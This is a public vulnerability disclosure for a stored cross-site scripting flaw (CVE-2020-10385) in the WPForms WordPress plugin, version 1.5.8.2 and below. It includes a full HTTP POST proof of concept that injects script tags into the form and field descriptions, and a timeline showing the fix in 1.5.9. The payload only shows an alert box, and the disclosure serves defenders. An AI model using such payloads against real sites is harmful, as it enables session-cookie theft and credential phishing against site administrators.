WordPress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting

# Exploit Title: Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting
# Date: 2020-02-18
# Vendor Homepage: https://wpforms.com
# Vendor Changelog: https://wordpress.org/plugins/wpforms-lite/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/stored-xss-vulnerability-found-in-wpforms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.8.2 and below
# CVE : CVE-2020-10385

1. Description

WPForms is a popular WordPress forms plugin with over 3 million active installations. The Form Description and Field Description fields in the WPForms plugin’s Form Builder module was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. While they do not pose high security threat being an authenticated XSS vulnerability, an attacker can potentially exploit this to perform malicious actions on a WordPress multisite installation to have a super admin’s cookies sent to the attacker or redirect the super admin to another domain, for example, a phishing page designed to show that they have been logged out and would need to log back in, thus compromising their credentials. The form builder’s “preview” function was also vulnerable to reflected XSS. All WordPress websites using WPForms version 1.5.8.2 and below are affected.

2. Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: ptest.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ptest.com/wp-admin/admin.php?page=wpforms-builder&view=settings&form_id=23
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 3140
Origin: http://ptest.com
Connection: close
Cookie: wp-saving-post=15-saved; wordpress_db156a460ca831632324809820a538ce=jinson%7C1582145873%7CBKGMGaw77TcSEz7kE0ijBd8VfAq7KwALhBVfKNRbKst%7Cf826697f923b7f17c30049eea275c6523b7e2418ab354e106c50f0314b9bdae9; comment_author_email_db156a460ca831632324809820a538ce=dev-email@flywheel.local; comment_author_db156a460ca831632324809820a538ce=jinson; wp-settings-time-1=1581973079; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_db156a460ca831632324809820a538ce=jinson%7C1582145873%7CBKGMGaw77TcSEz7kE0ijBd8VfAq7KwALhBVfKNRbKst%7Cbaecd49d797bff21499da712891744737c67fd481d59e04a952554579f26c637

action=wpforms_save_form&data=%5B%7B%22name%22%3A%22id%22%2C%22value%22%3A%2223%22%7D%2C%7B%22name%22%3A%22field_id%22%2C%22value%22%3A%2213%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bid%5D%22%2C%22value%22%3A%2211%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Btype%5D%22%2C%22value%22%3A%22text%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Blabel%5D%22%2C%22value%22%3A%22Single+Line+Text%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bdescription%5D%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22XSS+on+form+description%5C%22)%3C%2Fscript%3E%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bsize%5D%22%2C%22value%22%3A%22medium%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bplaceholder%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Blimit_count%5D%22%2C%22value%22%3A%221%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Blimit_mode%5D%22%2C%22value%22%3A%22characters%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bdefault_value%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Bcss%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22fields%5B11%5D%5Binput_mask%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22settings%5Bform_title%5D%22%2C%22value%22%3A%22Security+Test+WPForms%22%7D%2C%7B%22name%22%3A%22settings%5Bform_desc%5D%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22XSS+on+form+description+2%5C%22)%3C%2Fscript%3E%22%7D%2C%7B%22name%22%3A%22settings%5Bform_class%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22settings%5Bsubmit_text%5D%22%2C%22value%22%3A%22Submit%22%7D%2C%7B%22name%22%3A%22settings%5Bsubmit_text_processing%5D%22%2C%22value%22%3A%22Sending...%22%7D%2C%7B%22name%22%3A%22settings%5Bsubmit_class%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22settings%5Bhoneypot%5D%22%2C%22value%22%3A%221%22%7D%2C%7B%22name%22%3A%22settings%5Bnotification_enable%5D%22%2C%22value%22%3A%221%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Bemail%5D%22%2C%22value%22%3A%22%7Badmin_email%7D%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Bsubject%5D%22%2C%22value%22%3A%22New+Security+Test+WPForms+Entry%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Bsender_name%5D%22%2C%22value%22%3A%22ptest%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Bsender_address%5D%22%2C%22value%22%3A%22%7Badmin_email%7D%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Breplyto%5D%22%2C%22value%22%3A%22%22%7D%2C%7B%22name%22%3A%22settings%5Bnotifications%5D%5B1%5D%5Bmessage%5D%22%2C%22value%22%3A%22%7Ball_fields%7D%22%7D%2C%7B%22name%22%3A%22settings%5Bconfirmations%5D%5B1%5D%5Btype%5D%22%2C%22value%22%3A%22message%22%7D%2C%7B%22name%22%3A%22settings%5Bconfirmations%5D%5B1%5D%5Bmessage%5D%22%2C%22value%22%3A%22%3Cp%3EThanks+for+contacting+us!+We+will+be+in+touch+with+you+shortly.%3C%2Fp%3E%22%7D%2C%7B%22name%22%3A%22settings%5Bconfirmations%5D%5B1%5D%5Bmessage_scroll%5D%22%2C%22value%22%3A%221%22%7D%2C%7B%22name%22%3A%22settings%5Bconfirmations%5D%5B1%5D%5Bpage%5D%22%2C%22value%22%3A%222%22%7D%2C%7B%22name%22%3A%22settings%5Bconfirmations%5D%5B1%5D%5Bredirect%5D%22%2C%22value%22%3A%22%22%7D%5D&id=23&nonce=938cf431d2

3. Timeline

Vulnerability reported to the WPForms team – February 18, 2020
WPForms version 1.5.9 containing the fix released – March 5, 2020